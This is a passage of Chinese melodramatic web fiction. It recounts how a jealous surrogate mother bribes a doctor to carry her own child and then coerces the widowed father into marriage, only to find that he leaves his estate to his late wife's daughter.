没错的,这个代孕妈妈就是男主她妈,而男主父亲的妻子就是宋嘉莹的妈妈。 两人其实不算是什么龙凤胎,而是同父异母的姐弟。 男主她妈见到了男主父亲是如何疼宠妻子的,简直是小心翼翼,真真是捧在手心怕摔了,含在嘴里怕化了。 男主她妈还见到了,那个一见就是被爱包裹着长大的病美人。 她娇气,她孩子气,她眼里的光是多少女人梦寐以求,求而不得的。 男主他妈心生不平,她嫉妒,她怨恨,她不甘。 想到她还要用自己的身体去为对方服务,为对方生下孩子,她心中开始滋生出各种阴暗的想法。 此时,她已然忘记自己和对方不过 是钱货两清的交易关系。 那天,她拿着那张支票坐在母亲的病床前,整整坐了一夜。 最后,那张支票并没有被她拿来给母亲治病,而是拿去收买了机构里的某个医生,后来顺利达成了她的谋划。 或许是她开始时来运转了,又或许是她肚子里的孩子,那个流着她的血的孩子是福星。 在两个胚胎被植入她身体的第四个月,那个让她嫉妒的女人突发急症,抢救不过来去世了。 她知道机会来了。 她以伤害肚子里的孩子做威胁,让那男人和她领证。 她在赌,赌那男人对那女人的爱。 最后她赌赢了。 五个月后,两个孩子呱呱坠地。 那男人还是很谨慎,在她还昏迷时,就安排做了亲子鉴定。 不过,这个时候知道了又怎样。 孩子已经出来了,难不成还能塞回去。 再说了,虎毒不食子。 比起一个丫头片子,她给他带来的可是儿子。 她就不信,没哪个男人不喜欢儿子。 可是,这回,她赌输了。 真有不喜欢儿子的男人。 他说了,宋家的一切都是那女人女儿的。 而她生的儿子,他也不偏心,将来他从已故父母那继承来那部分东西会分些给孩子。